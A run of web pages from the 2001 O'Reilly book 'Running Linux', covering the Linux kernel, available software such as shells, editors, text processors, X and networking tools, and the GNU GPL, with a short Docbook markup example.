Linux can run on a wide range of CPU architectures, including the Intel x86 (386, 486, Pentium, Pentium Pro, II, and III), SPARC, Alpha, PowerPC, MIPS, and m68k. Ports to various other architectures are underway, and it is expected that Linux will run just fine on Intel's next-generation "Merced" processors. There has even been work to port Linux to embedded processors, such as the one found in the 3Com PalmPilot personal digital assistant.

Linux supports various filesystem types for storing data. Some filesystems, such as the Second Extended (ext2fs) filesystem, have been developed specifically for Linux. Other filesystem types, such as the Minix-1 and Xenix filesystems, are also supported. The MS-DOS filesystem has been implemented as well, allowing you to access Windows and DOS on hard drive or floppy directly. Support is included for OS/2, Apple, Amiga, and Windows NT filesystems as well. The ISO 9660 CD-ROM filesystem type, which reads all standard formats of CD-ROMs, is also supported. We'll talk more about filesystems in Chapter 3, "Installation and Initial Configuration", and Chapter 5, "Essential System Management".

Networking support is one of the greatest strengths of Linux, both in terms of functionality and performance. Linux provides a complete implementation of TCP/IP networking. This includes device drivers for many popular Ethernet cards, PPP and SLIP (allowing you to access a TCP/IP network via a serial connection), Parallel Line Internet Protocol (PLIP), and the NFS Network File System. The complete range of TCP/IP clients and services is supported, such as FTP, Telnet, NNTP, and Simple Mail Transfer Protocol (SMTP). The Linux kernel includes complete network firewall support, allowing you to configure any Linux machine as a firewall (which screens network packets, preventing unauthorized access to an intranet, for example). It is widely held that networking performance under Linux is superior to other operating systems. We'll talk more about networking in Chapter 15, "TCP/IP and PPP".

1.4.3. Kernel

The kernel is the guts of the operating system itself; it's the code that controls the interface between user programs and hardware devices, the scheduling of processes to achieve multitasking, and many other aspects of the system. The kernel is not a separate process running on the system. Instead, you can think of the kernel as a set of routines, constantly in memory, that every process has access to. Kernel routines can be called in a number of ways. One direct method to utilize the kernel is for a process to execute a system call, which is a function that causes the kernel to execute some code on behalf of the process. For example, the read system call will read data from a file descriptor. To the programmer, this looks like another C function, but in actuality the code for read is contained within the kernel.

Kernel code is also executed in other situations. For example, when a hardware device issues an interrupt, the interrupt handler is found within the kernel. When a process takes an action that requires it to wait for results, the kernel steps in and puts the process to sleep, scheduling another process in its place. Similarly, the kernel switches control between processes rapidly, using the clock interrupt (and other means) to trigger a switch from one process to another. This is basically how multitasking is accomplished.

The Linux kernel is known as a monolithic kernel, in that all device drivers are part of the kernel proper. Some operating systems employ a microkernel architecture whereby device drivers and other components (such as filesystems and memory management code) are not part of the kernel--rather, they are treated similarly to regular user applications. There are advantages and disadvantages to both designs: the monolithic architecture is more common among Unix implementations and is the design employed by classic kernel designs, such as System V and BSD. Linux does support loadable device drivers (which can be loaded and unloaded from memory through user commands); this is the subject of the section "Section 7.5, "Loadable Device Drivers"" in Chapter 7, "Upgrading Software and the Kernel".

The kernel is able to emulate FPU instructions itself on many architectures, so that systems without a math coprocessor can run programs that require floating-point math instructions.

The Linux kernel on Intel platforms is developed to use the special protected-mode features of the Intel 80x86 processors (starting with the 80386). In particular, Linux makes use of the protected-mode descriptor-based memory management paradigm and many of the other advanced features of these processors. Anyone familiar with 80386 protected-mode programming knows that this chip was designed for a multitasking system such as Unix (it was actually inspired by Multics). Linux exploits this functionality.

The Linux kernel supports demand-paged loaded executables. That is, only those segments of a program that are actually used are read into memory from disk. Also, if multiple instances of a program are running at once, only one copy of the program code will be in memory.

In order to increase the amount of available memory, Linux also implements disk paging: that is, a certain amount of swap space [9] can be allocated on disk. When the system requires more physical memory, it will swap out inactive pages to disk, thus allowing you to run larger applications and support more users at once. However, swap is no substitute for physical RAM; it's much slower due to the time required to access the disk.

[9]Technically speaking, swap space is inappropriately named: entire processes are not swapped, but rather individual pages of memory are paged out. Of course, in many cases, entire processes will be swapped out, but this is not necessarily always the case.

The kernel also implements a unified memory pool for user programs and disk cache. In this way, all free memory is used for caching, and the cache is reduced when the processor is running large programs.

Executables use dynamically linked shared libraries, meaning that executables share common library code in a single library file found on disk, not unlike the SunOS shared library mechanism. This allows executable files to occupy much less space on disk, especially those files that use many library functions. This also means that a single copy of the library code is held in memory at one time, thus reducing overall memory usage. There are also statically linked libraries for those who wish to maintain "complete" executables without the need for shared libraries to be in place. Because Linux shared libraries are dynamically linked at runtime, programmers can replace modules of the libraries with their own routines.

To facilitate debugging, the Linux kernel does core dumps for post-mortem analysis. Using a core dump and an executable linked with debugging support, you can determine what caused a program to crash. We'll talk about this in the section "Section 14.1.2, "Examining a Core File"" in Chapter 14, "Tools for Programmers".

Previous | Home | Next
1.3. Who's Using Linux? | Book Index | 1.5. Software Features
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Software Features (Running Linux)

 Running LinuxSearch this book
Previous Next

1.5. Software Features

In this section, we'll introduce you to many of the software applications available for Linux and talk about a number of common computing tasks. After all, the most important part of the system is the wide range of software available for it. What's even more impressive on Linux is that most of this software is freely distributable.

1.5.1. Basic Commands and Utilities

Virtually every utility you would expect to find on standard implementations of Unix has been ported to Linux. This includes basic commands such as ls, awk, tr, sed, bc, more, and so on. There are Linux ports of many popular software packages including Perl, Python, the Java Development Kit, and more. You name it--Linux has it. Therefore, you can expect your familiar working environment on other Unix systems to be duplicated on Linux. All of the standard commands and utilities are there. (Novice Unix users should see Chapter 4, "Basic Unix Commands and Concepts" for an introduction to these basic Unix commands.)

Many text editors are available, including vi (as well as "modern" versions, such as vim), ex, pico, and jove, as well as GNU Emacs and variants, such as XEmacs (which incorporates extensions for use under the X Window System) and joe. Whatever text editor you're accustomed to using has more than likely been ported to Linux.

The choice of a text editor is an interesting one. Many Unix users still use "simple" editors such as vi (in fact, the authors wrote this book using vi and Emacs under Linux). However, vi has many limitations due to its age, and more modern (and complex) editors, such as Emacs, are gaining popularity. Emacs supports a complete LISP-based macro language and interpreter, a powerful command syntax, and other fun-filled extensions. Emacs macro packages exist to allow you to read electronic mail and news, edit the contents of directories, and even engage in an artificially intelligent psychotherapy session (indispensable for stressed-out Linux hackers). In Chapter 9, "Editors, Text Tools, Graphics, and Printing", we include a complete vi tutorial and describe Emacs in detail.

One interesting note is that most of the basic Linux utilities are GNU software. These GNU utilities support advanced features not found in the standard versions from BSD or AT&T. For example, GNU's version of the vi editor, elvis, includes a structured macro language, which differs from the original AT&T version. However, the GNU utilities strive to remain compatible with their BSD and System V counterparts. Many people consider the GNU versions of these programs superior to the originals. An example of this are the GNU gzip and bzip2 file-compression utilities, which compress data much more efficiently than the original Unix compress utility.

The most important utility to many users is the shell. The shell is a program that reads and executes commands from the user. In addition, many shells provide features such as job control (allowing the user to manage several running processes at once--not as Orwellian as it sounds), input and output redirection, and a command language for writing shell scripts. A shell script is a file containing a program in the shell command language, analogous to a "batch file" under MS-DOS.

There are many types of shells available for Linux. The most important difference between shells is the command language. For example, the C shell (csh) uses a command language somewhat like the C programming language. The classic Bourne shell uses a different command language. One's choice of a shell is often based on the command language it provides. The shell that you use defines, to some extent, your working environment under Linux.

No matter what Unix shell you're accustomed to, some version of it has probably been ported to Linux. The most popular shell is the GNU Bourne Again Shell (bash), a Bourne shell variant. bash includes many advanced features, such as job control, command history, command and filename completion, an Emacs-like (or optionally, a vi-like) interface for editing the command line, and powerful extensions to the standard Bourne shell language. Another popular shell is tcsh, a version of the C shell with advanced functionality similar to that found in bash. Other shells include the Korn shell (ksh), BSD's ash, zsh, a small Bourne-like shell, and rc, the Plan 9 shell.

What's so important about these basic utilities? Linux gives you the unique opportunity to tailor a custom system to your needs. For example, if you're the only person who uses your system, and you prefer to use the vi editor and the bash shell exclusively, there's no reason to install other editors or shells. The "do it yourself" attitude is prevalent among Linux hackers and users.

1.5.2. Text Processing and Word Processing

Almost every computer user has a need for some kind of document preparation system. (How many computer enthusiasts do you know who still use pen and paper? Not many, we'll wager.) In the PC world, word processing is the norm: it involves editing and manipulating text (often in a "What-You-See-Is-What-You-Get" [WYSIWYG] environment) and producing printed copies of the text, complete with figures, tables, and other garnishes.

In the Unix world, text processing is much more common, which is quite different from the classical concept of word processing. With a text-processing system, the author enters text using a "typesetting language" that describes how the text should be formatted. Instead of entering the text within a special word processing environment, the author may modify the source with any text editor, such as vi or Emacs. Once the source text (in the typesetting language) is complete, the user formats the text with a separate program, which converts the source to a format suitable for printing. This is somewhat analogous to programming in a language such as C, and "compiling" the document into a printable form.

There are many text-processing systems available for Linux. One is groff, the GNU version of the classic troff text formatter originally developed by Bell Labs and still used on many Unix systems worldwide. Another modern text-processing system is TeX, developed by Donald Knuth of computer science fame. Dialects of TeX, such as LaTeX, are also available.

Text processors such as TeX and groff differ mostly in the syntax of their formatting languages. The choice of one formatting system over another is also based upon what utilities are available to satisfy your needs, as well as personal taste.

For example, some people consider the groff formatting language to be a bit obscure, so they use TeX, which is more readable by humans. However, groff is capable of producing plain ASCII output, viewable on a terminal, while TeX is intended primarily for output to a printing device. Still, various programs exist to produce plain ASCII from TeX-formatted documents or to convert TeX to groff, for example.

Another text-processing system is Texinfo, an extension to TeX used for software documentation by the Free Software Foundation. Texinfo is capable of producing a printed document, or an online-browsable hypertext "Info" document from a single source file. Info files are the main format of documentation used by GNU software, such as Emacs.

Text processors are used widely in the computing community for producing papers, theses, magazine articles, and books. (In fact, this book was originally written in the LaTeX format, filtered into a home-grown SGML system, and printed from groff.) The ability to process the source language as a plain-text file opens the door to many extensions to the text processor itself. Because source documents are not stored in an obscure format, readable only by a particular word processor, programmers are able to write parsers and translators for the formatting language, thus extending the system.

What does such a formatting language look like? In general, the formatting language source consists mostly of the text itself, along with "control codes" to produce a particular effect, such as changing fonts, setting margins, creating lists, and so on.

The most famous text formatting language is HTML, which now has a younger cousin in XML; HTML is descended from the SGML in which this book is maintained. The particular tags used in this book (like <PARA> and <TITLE>) come from Docbook, a kind of industry-standard set of tags for marking up technical documentation, which is used in official Linux documentation (to be discussed later in this chapter). Here is a typical section beginning in Docbook:

<sect2><title>Basic Commands and Utilities</title>

<para>

Virtually every utility you would expect to find on standard
implementations of Unix has been ported to Linux. This
includes basic commands such as <command>ls</command>,
<command>awk</command>, <command>tr</command>,
<command>sed</command>, <command>bc</command>,
<command>more</command>, and so on.  There are Linux ports
of many popular software packages including Perl, Python,
the Java Development Kit, and more. You name it--Linux has
it.  Therefore, you can expect your familiar working
environment on other Unix systems to be duplicated on
Linux. All of the standard commands and utilities are
there.
(Novice Unix users should see
<xref linkend="X-100-3-chap-basic"> for an introduction to
these basic Unix commands.)

</para>

At first glance, the typesetting language may appear to be obscure, but it's actually quite easy to learn. Using a text-processing system enforces typographical standards when writing. For example, all enumerated lists within a document will look the same, unless the author modifies the definition of the enumerated list "environment."

The primary goal of typesetting languages is to allow the author to concentrate on writing the actual text, instead of worrying about typesetting conventions. When the example just shown is printed, the commands in <command> tags will be printed using whatever font, color, or other convention the publisher has chosen, and a command index can easily be generated too. Furthermore, the correct chapter number and title are plugged in where the strange-looking <xref&> tag was written, so they are correct even if the authors reorder the chapters after writing the paragraph.

While there are WYSIWYG editors for HTML (and even a few for SGML) getting used to entering tags by hand, like those in the previous example, actually takes only a little practice. Tools can then generate output in a standard format like PostScript or PDF and display it on the author's screen or send it to a printer. Text-processing systems illustrated in Chapter 9, "Editors, Text Tools, Graphics, and Printing" include LaTeX, its close cousin Texinfo, and troff.

WYSIWYG word processors are attractive for many reasons; they provide a powerful, and sometimes complex, visual interface for editing the document. However, this interface is inherently limited to those aspects of text layout that are accessible to the user. For example, many word processors provide a special "format language" for producing complicated expressions such as mathematical formulae. This format language is identical to text processing, albeit on a much smaller scale.

The subtle benefit of text processing is that the system allows you to specify exactly what you mean. Also, text processing systems allow you to edit the source text with any text editor, and the source is easily converted to other formats. The tradeoff for this flexibility and power is the lack of a WYSIWYG interface.

Many users of word processors are used to seeing the formatted text as they edit it. On the other hand, when writing with a text processor, one generally doesn't worry about how the text will appear once it's formatted. The writer learns to expect how the text should look from the formatting commands used in the source.

There are programs that allow you to view the formatted document on a graphics display before printing. One example is the xdvi program, which displays a "device independent" file generated by the TeX system under the X Window System. Other software applications, such as xfig, provide a WYSIWYG graphics interface for drawing figures and diagrams, which are subsequently converted to the text-processing language for inclusion in your document.

There are many other text-processing utilities available. The powerful METAFONT system, used to design fonts for TeX, is included with the Linux port of TeX. Other programs include ispell, an interactive spell checker; makeindex, an index generator for LaTeX documents; and many groff and TeX-based macro packages for formatting various types of documents and mathematical texts. Conversion programs are available to translate between TeX or groff source and many other formats.

In Chapter 9, "Editors, Text Tools, Graphics, and Printing", we discuss LaTeX, groff, and other text-formatting tools in detail.

1.5.3. Commercial Applications

Commercial software vendors are becoming increasingly interested in making their products available for Linux. These products include office productivity suites, word processors, network administration utilities, and large-scale database engines. In the first two editions of this book, we couldn't say much about commercial application availability, but this is rapidly changing--so much so that by the time you read this, we believe that a host of other commercial application packages will have been ported to Linux.

Star Division (http://www.stardivision.com) has released the Star Office v5.0 office productivity suite for Linux (also available for Windows 98, Windows NT, and other Unix systems). This suite is more or less a clone of Microsoft Office, including a word processor, spreadsheet, HTML editor, presentation manager, and other tools. It is capable of reading file formats from a wide range of similar applications (including Microsoft Office) and is available for free download for non-commercial use.

Corel has ported WordPerfect 8 for Linux, which includes a word processor, spreadsheet, presentation software, personal information manager, and other applications. It is free for personal use. A single-user license for non-personal use is $US49.95 if bought from a retailer or $US69.95 if bought directly from Corel.

Companies such as Oracle, IBM, Informix, Sybase, and Interbase have released (or have announced plans to release) commercial database engines that have been ported to Linux. IBM has released a beta Linux version of its DB2 database server, available for free download from IBM's website (http://www.ibm.com). This beta release does not support clustering or several of the higher-end features found in other versions of DB2, but it does exploit multiprocessors. IBM has also announced that it will provide a Linux version of the popular AFS network filesystem.

Caldera has released NetWare for Linux 1.0, allowing Linux servers to host NetWare file, print, and directory services, and share data with Novell NetWare-based servers. It's compatible with NetWare 4.10b and NetWare clients for Windows 3.1/95/98, DOS, Linux, Macintosh, and UnixWare.

1.5.4. Programming Languages and Utilities

Linux provides a complete Unix programming environment, including all of the standard libraries, programming tools, compilers, and debuggers that you would expect to find on other Unix systems. Within the Unix software development world, applications and systems programming is usually done in C or C++. The standard C and C++ compiler for Linux is GNU's gcc, which is an advanced, modern compiler supporting many options. It's also capable of compiling C++ (including AT&T 3.0 features) as well as Objective-C, another object-oriented dialect of C.

Java, a relative newcomer on the programming-language scene, is fully supported under Linux. Sun's Java Development Kit Version 1.2 (also known as "Java 2") has been ported to Linux and is fully functional. Java is an object-oriented programming language and runtime environment that supports a diverse range of applications like web page applets, Internet-based distributed systems, database connectivity, and more. Programs written for Java can be run on any system (regardless of CPU architecture or operating system) that supports the Java Virtual Machine. There has been a great deal of excitement in the marketplace over the possibilities presented by Java.

Besides C, C++, and Java, many other compiled and interpreted programming languages have been ported to Linux, such as Smalltalk, FORTRAN, Pascal, LISP, Scheme, and Ada. In addition, various assemblers for writing machine code are available, as are Unix-hacking favorites such as Perl (the script language to end all script languages), Tcl/Tk (a shell-like command-processing system that includes support for developing simple X Window System applications), and Python (the first scripting language to be designed as object-oriented from the ground up).

The advanced gdb debugger has been ported, which allows you to step through a program to find bugs or examine the cause for a crash using a core dump. gprof, a profiling utility, will give you performance statistics for your program, letting you know where your program is spending most of its time. The Emacs text editor provides an interactive editing and compilation environment for various programming languages. Other tools that have been ported to Linux include GNU make and imake, used to manage compilation of large applications, and RCS, a system for source locking and revision control.

Linux is ideal for developing Unix applications. It provides a modern programming environment with all of the bells and whistles. Professional Unix programmers and system administrators can use Linux to develop software at home and then transfer the software to Unix systems at work. This not only can save a great deal of time and money, but also lets you work in the comfort of your own home.[10] Computer science students can use Linux to learn Unix programming and to explore other aspects of the system, such as kernel architecture.

[10]The authors use their Linux systems to develop and test X applications at home, which can then be directly compiled on workstations elsewhere.

With Linux, not only do you have access to the complete set of libraries and programming utilities, but you also have the complete kernel and library source code at your fingertips.

Chapters 13 and 14 are devoted to the programming languages and tools available for Linux.

1.5.5. The X Window System

The X Window System is the standard graphics interface for Unix machines. It's a powerful environment supporting many applications. Using X, the user can have multiple terminal windows on the screen at once, each window containing a different login session. A pointing device, such as a mouse, is generally used with the X interface.

One of the real strengths of the X Window System is that its "look and feel" is greatly customizable. It's possible to emulate the Windows 95/98, Macintosh, and NeXTStep environments under X, as well as to create totally novel desktop configurations (many Linux users prefer to make up their own).

Many X-specific applications have been written, such as games, graphics utilities, programming and documentation tools, and so on. With Linux and X, your system is a bona fide workstation. Coupled with TCP/IP networking, you can even display X applications running on other machines on your Linux screen, as is possible with other systems running X.

The X Window System, originally developed at MIT, is freely distributable. However, many commercial vendors have distributed proprietary enhancements to the original X software. The version of X available for Linux is known as XFree86, a port of X11R6 made freely distributable for PC-based Unix systems, such as Linux. XFree86 supports a wide range of video hardware, including VGA, Super VGA, and a number of accelerated video adaptors. XFree86 is a complete distribution of the X software, containing the X server itself, many applications and utilities, programming libraries, and documentation.

Standard X applications include xterm (a terminal emulator used for most text-based applications within an X window), xdm (the X Session Manager, which handles logins), xclock (a simple clock display), xman (an X-based manual page reader), and more. The many X applications available for Linux are too numerous to mention here, but the base XFree86 distribution includes the "standard" applications found in the original MIT release. Many others are available separately, and theoretically any application written for X should compile cleanly under Linux.

The look and feel of the X interface is controlled to a large extent by the window manager. This friendly program is in charge of the placement of windows, the user interface for resizing, iconifying, and moving windows, the appearance of window frames, and so on. The standard XFree86 distribution includes twm, the classic MIT window manager, although more advanced window managers, such as the Open Look Virtual Window Manager (olvwm), are available as well. One window manager that is popular among Linux users is fvwm2. This is a small window manager, requiring less than half of the memory used by twm. It provides a 3D appearance for windows, as well as a virtual desktop; if the user moves the mouse to the edge of the screen, the entire desktop is shifted as if the display were much larger than it actually is. fvwm2 is greatly customizable and allows all functions to be accessed from the keyboard as well as from the mouse. Many Linux distributions use fvwm2 as the standard window manager.

The XFree86 distribution contains programming libraries and includes files for those wily programmers who wish to develop X applications. Various widget sets, such as Athena, Open Look, and Xaw3D, are supported. All of the standard fonts, bitmaps, manual pages, and documentation are included. PEX (a programming interface for 3D graphics) is also supported, as is Mesa, a free implementation of the OpenGL 3D graphics primitives.

In Chapter 10, "Installing the X Window System" and Chapter 11, "Customizing Your X Environment", we'll discuss how to install and use the X Window System on your Linux machine.

1.5.6. KDE and GNOME

KDE and GNOME are two new and noteworthy projects generating a lot of excitement in the Linux world. Both systems intend to produce a complete integrated graphical desktop environment, running on top of the X Window System. By building up a powerful suite of development tools, libraries, and applications that are integrated into the desktop environment, KDE and GNOME aim to usher in the next era of Linux desktop computing. Both systems provide a rich GUI, window manager, utilities, and applications that rival or exceed the features of systems such as the Windows 98 desktop.

With KDE and GNOME, even casual users and beginners will feel right at home with Linux. Most distributions automatically configure one of these desktop environments during installation, making it unnecessary to ever touch the text-only console interface.

While both KDE and GNOME aim to make the Unix environment more user-friendly, they have different emphases. KDE's main goals are ease-of-use, stability, and user-interface compatibility with other computing environments (such as Windows 95). GNOME, on the other hand, aims more at good looks and maximum configurability.

1.5.7. Networking

Linux boasts one of the most powerful and robust networking systems in the world--so much so that more and more people are finding that Linux makes an excellent choice as a network server. Linux supports the two primary networking protocols for Unix systems: TCP/IP and UUCP. TCP/IP (Transmission Control Protocol/Internet Protocol, for acronym aficionados) is the set of networking paradigms that allows systems all over the world to communicate on a single network known as the Internet. With Linux, TCP/IP, and a connection to the network, you can communicate with users and machines across the Internet via the Web, electronic mail, Usenet news, file transfers with FTP, and more.

Most TCP/IP networks use Ethernet as the physical network transport. Linux supports many popular Ethernet cards and interfaces for personal computers and laptops. Linux also supports Fast Ethernet, Gigabit Ethernet, ATM, ISDN, wireless LAN adapters, Token Ring, packet radio, and a number of high-performance network interfaces.

However, because not everyone has an Ethernet drop at home, Linux also supports PPP and SLIP, allowing you to connect to the Internet via modem. In order for you to use PPP or SLIP, your ISP will have to provide you with an account on their dial-in server, Many businesses and universities provide dial-in PPP or SLIP access. In fact, if your Linux system has an Ethernet connection as well as a modem, you can configure it as a PPP/SLIP server for other hosts.

Linux supports a wide range of web browsers (including Netscape Navigator, the free Mozilla spin-off, and the text-based Lynx browser). With a web browser and a Linux machine connected to the Internet, you can engage in Web surfing, email, chat, news, and many other web-based services.

Linux also hosts a range of web servers (including the popular and free Apache web server). In fact, it's estimated that Apache running on Linux systems drives more web sites than any other platform in the world. Apache is easy to set up and use; we'll show you how in Chapter 16, "The World Wide Web and Electronic Mail".

Samba is a package that allows Linux machines to act as a Windows file and print server. NFS allows your system to share files seamlessly with other machines on the network. With NFS, remote files look to you as if they were located on your own system's drives. File Transfer Protocol (FTP) allows you to transfer files to and from other machines on the network.

A full range of mail and news readers are available for Linux, such as Elm, Pine, rn, nn, and tin. Whatever your preference, you can configure your Linux system to send and receive electronic mail and news from all over the world.

Other networking features include NNTP-based electronic news systems such as C News and INN; the sendmail, exim and smail mail transfer agents; telnet, rlogin, ssh, and rsh, which allow you to log in and execute commands on other machines on the network; and finger, which allows you to get information on other Internet users. There are tons of TCP/IP-based applications and protocols out there.

If you have experience with TCP/IP applications on other Unix systems, Linux will be familiar to you. The system provides a standard socket programming interface, so virtually any program that uses TCP/IP can be ported to Linux. The Linux X server also supports TCP/IP, allowing you to display applications running on other systems on your Linux display. Administration of Linux networking will be familiar to those coming from other Unix systems, as the configuration and monitoring tools are similar to their BSD counterparts.

In Chapter 15, "TCP/IP and PPP", we'll discuss the configuration and setup of TCP/IP, including PPP, for Linux. We'll also discuss configuration of web browsers, web servers, and mail software.

UUCP (Unix to Unix Copy) is an older mechanism used to transfer files. UUCP machines are connected to each other over phone lines via modem, but UUCP is able to transport over a TCP/IP network as well. If you do not have access to a TCP/IP network or a PPP server, you can configure your system to send and receive files and electronic mail using UUCP.

1.5.8. Telecommunications and BBS Software

Telecommunications software under Linux is very similar to that found under Windows or other operating systems. Anyone who has used a telecommunications package will find the Linux equivalent familiar. If you have a modem, you will be able to communicate with other machines using one of the telecommunications packages available for Linux. Many people use telecommunications software to access bulletin board systems (BBSes), as well as commercial online services. Other people use their modems to connect to a Unix system at work or school. You can even use your modem and Linux system to send and receive facsimiles.

One of the most popular communications packages for Linux is Seyon, an X application providing a customizable, ergonomic interface, with built-in support for various file-transfer protocols such as Kermit, Zmodem, and so on. Other telecommunications programs include C-Kermit, pcomm, and minicom. These are similar to communications programs found on other operating systems and are quite easy to use. Zmodem for Linux is described in Appendix H, "Zmodem File Transfer".

If you do not have access to a PPP server (see the previous section), you can use term to multiplex your serial line. term allows you to open multiple login sessions over the modem connection to a remote machine. term also allows you to redirect X client connections to your local X server through the serial line, enabling you to display remote X applications on your Linux system. Another software package, KA9Q, implements a similar SLIP-like interface.

If you do not have access to a TCP/IP network or UUCP feed, Linux allows you to communicate with a number of BBS networks, such as Fidonet, with which you can exchange electronic news and mail via the phone line.

1.5.9. Interfacing with Windows and MS-DOS

Various utilities exist to interface with the world of Windows 95, Windows 98, and MS-DOS. The most well-known application is a project known as Wine--a Microsoft Windows emulator for the X Window System under Linux. The intent of this project, which is still under development, is to allow Microsoft Windows applications to run directly under Linux. This is similar to the proprietary WABI Windows emulator from Sun Microsystems. Wine is in a process of continual development, and now runs a wide variety of Windows software, including many desktop applications and several games. See http://www.winehq.com for details of the project's progress.

Linux provides a seamless interface for transferring files between Linux and Windows systems. You can mount a Windows partition or floppy under Linux, and directly access Windows files as you would any others. In addition, there is the mtools package that allows direct access to MS-DOS-formatted floppies, as well as htools, which does the same for Macintosh floppy disks.

Another application is the Linux MS-DOS Emulator, which allows you to run many MS-DOS applications directly from Linux. Although Linux and MS-DOS are completely different operating systems, the x86 protected-mode environment allows certain tasks to behave as if they were running in 8086-emulation mode, as MS-DOS applications do.

The MS-DOS emulator is still under development, yet many popular applications run under it. Understandably, however, MS-DOS applications that use bizarre or esoteric features of the system may never be supported, because it's only an emulator. For example, you wouldn't expect to be able to run any programs that use x86 protected-mode features, such as Microsoft Windows (in 386-enhanced mode, that is).

Applications that run successfully under the Linux MS-DOS Emulator include 4DOS (a command interpreter), Foxpro 2.0, Harvard Graphics, MathCad, Turbo Assembler, Turbo C/C++, Turbo Pascal, Microsoft Windows 3.0 (in real mode), and WordPerfect 5.1. Standard MS-DOS commands and utilities, such as PKZIP, work with the emulator as well.

The MS-DOS Emulator is meant mostly as an ad hoc solution for those people who need MS-DOS only for a few applications, but use Linux for everything else. It's not meant to be a complete implementation of MS-DOS. Of course, if the Emulator doesn't satisfy your needs, you can always run MS-DOS as well as Linux on the same system (but not at the same time). Using the LILO boot loader, you can specify which operating system to start at boot time. Linux can coexist with other operating systems, such as OS/2, as well.

We'll show you how to use the MS-DOS emulator in the section "Section 12.2.1, "DOS Emulators: Dosemu and xdos"" in Chapter 12, "Windows Compatibility and Samba", along with other ways to interface Linux with Windows.

1.5.10. Other Applications

A host of miscellaneous applications are available for Linux, as one would expect from such a hodgepodge operating system. Linux's primary focus is currently for personal Unix computing, but this is rapidly changing. Business and scientific software is expanding, and commercial software vendors are beginning to contribute to the growing pool of applications.

Scientific computing applications include FELT (a finite element analysis tool), gnuplot (a plotting and data analysis application), Octave (a symbolic mathematics package, similar to MATLAB), xspread (a spreadsheet calculator), xfractint (an X-based port of the popular Fractint fractal generator), xlispstat (a statistics package), and more. Other applications include Spice (a circuit design and analysis tool) and Khoros (an image/digital signal processing and visualization system).

Of course, there are many more such applications that have been, and can be, ported to run on Linux. Whatever your field, porting Unix-based applications to Linux should be straightforward. Linux provides a complete Unix programming interface, sufficient to serve as the base for any scientific application.

As with any operating system, Linux has its share of games. These include classic text-based dungeon games such as Nethack and Moria; MUDs (multiuser dungeons, which allow many users to interact in a text-based adventure) such as DikuMUD and TinyMUD; and a slew of X games, such as xtetris, netrek, and Xboard (the X11 front-end to gnuchess). There has been increasing commercial interest in graphics-intensive games under Linux, and iD Software has produced Linux versions of Quake, Quake II, Quake III, and Doom. A number of other PC game vendors are providing Linux versions as well, and many of them admit to developing their software almost entirely under Linux!

For audiophiles, Linux has support for various sound cards and related software, such as CDplayer (a program that can control a CD-ROM drive as a conventional CD player, surprisingly enough), MIDI sequencers and editors (allowing you to compose music for playback through a synthesizer or other MIDI-controlled instrument), and sound editors for digitized sounds.

Can't find the application you're looking for? Freshmeat, found on the Web at http://www.freshmeat.net, is a popular directory of free software, nearly all of which runs under Linux. While this directory is far from complete, it contains a great deal of software. Take a look at it just to see the enormous amount of code that has been developed for Linux.

If you absolutely can't find what you need, you can always attempt to port the application from another platform to Linux. Or, if all else fails, you can write the application yourself. That's the spirit of Free Software--if you want something to be done right, do it yourself!

Previous | Home | Next
1.4. System Features | Book Index | 1.6. About Linux's Copyright
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


About Linux's Copyright (Running Linux)

 Running LinuxSearch this book
Previous Next

1.6. About Linux's Copyright

Linux is covered by what is known as the GNU General Public License, or GPL. The GPL, which is sometimes referred to as a "copyleft" license, was developed for the GNU project by the Free Software Foundation. It makes a number of provisions for the distribution and modification of "free software." "Free," in this sense, refers to freedom, not just cost. The GPL has always been subject to misinterpretation, and we hope that this summary will help you to understand the extent and goals of the GPL and its effect on Linux. A complete copy of the GPL is available at http://www.gnu.org/copyleft/gpl.html.

Originally, Linus Torvalds released Linux under a license more restrictive than the GPL, which allowed the software to be freely distributed and modified, but prevented any money changing hands for its distribution and use. The GPL allows people to sell and make profit from free software, but doesn't allow them to restrict the right for others to distribute the software in any way.

First, we should explain that "free software" covered by the GPL is not in the public domain. Public domain software is software that is not copyrighted and is literally owned by the public. Software covered by the GPL, on the other hand, is copyrighted to the author or authors. This means that the software is protected by standard international copyright laws and that the author of the software is legally defined. Just because the software may be freely distributed doesn't mean it is in the public domain.

GPL-licensed software is also not "shareware." Generally, "shareware" software is owned and copyrighted by the author, but the author requires users to send in money for its use after distribution. On the other hand, software covered by the GPL may be distributed and used free of charge.

The GPL also allows people to take and modify free software, and distribute their own versions of the software. However, any derived works from GPL software must also be covered by the GPL. In other words, a company could not take Linux, modify it, and sell it under a restrictive license. If any software is derived from Linux, that software must be covered by the GPL as well.

People and organizations can distribute GPL software for a fee and can even make a profit from its sale and distribution. However, in selling GPL software, the distributor can't take those rights away from the purchaser; that is, if you purchase GPL software from some source, you may distribute the software for free or sell it yourself as well.

This might sound like a contradiction at first. Why sell software for profit when the GPL allows anyone to obtain it for free? When a company bundles a large amount of free software on a CD-ROM and distributes it, they need to charge for the overhead of producing and distributing the CD-ROM, and they may even decide to make profit from the sale of the software. This is allowed by the GPL.

Organizations that sell free software must follow certain restrictions set forth in the GPL. First, they can't restrict the rights of users who purchase the software. This means that if you buy a CD-ROM of GPL software, you can copy and distribute that CD-ROM free of charge, or you can resell it yourself. Second, distributors must make it obvious to users that the software is indeed covered by the GPL. Third, distributors must provide, free of charge, the complete source code for the software being distributed, or they must point their customers on demand to where the software can be downloaded. This will allow anyone who purchases GPL software to make modifications of that software.

Allowing a company to distribute and sell free software is a very good thing. Not everyone has access to the Internet to download software, such as Linux, for free. The GPL allows companies to sell and distribute software to those people who do not have free (cost-wise) access to the software. For example, many organizations sell Linux on floppy, tape, or CD-ROM via mail order, and make profit from these sales. The developers of Linux may never see any of this profit; that is the understanding that is reached between the developer and the distributor when software is licensed by the GPL. In other words, Linus knew that companies may wish to sell Linux and that he may not see a penny of the profits from those sales.

In the free software world, the important issue is not money. The goal of free software is always to develop and distribute fantastic software and to allow anyone to obtain and use it. In the next section, we'll discuss how this applies to the development of Linux.

Previous | Home | Next
1.5. Software Features | Book Index | 1.7. Open Source and the Philosophy of Linux
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Open Source and the Philosophy of Linux (Running Linux)

 Running LinuxSearch this book
Previous Next

1.7. Open Source and the Philosophy of Linux

When new users encounter Linux, they often have a few misconceptions and false expectations of the system. Linux is a unique operating system, and it's important to understand its philosophy and design in order to use it effectively. At the center of the Linux philosophy is a concept that we now call Open Source Software.

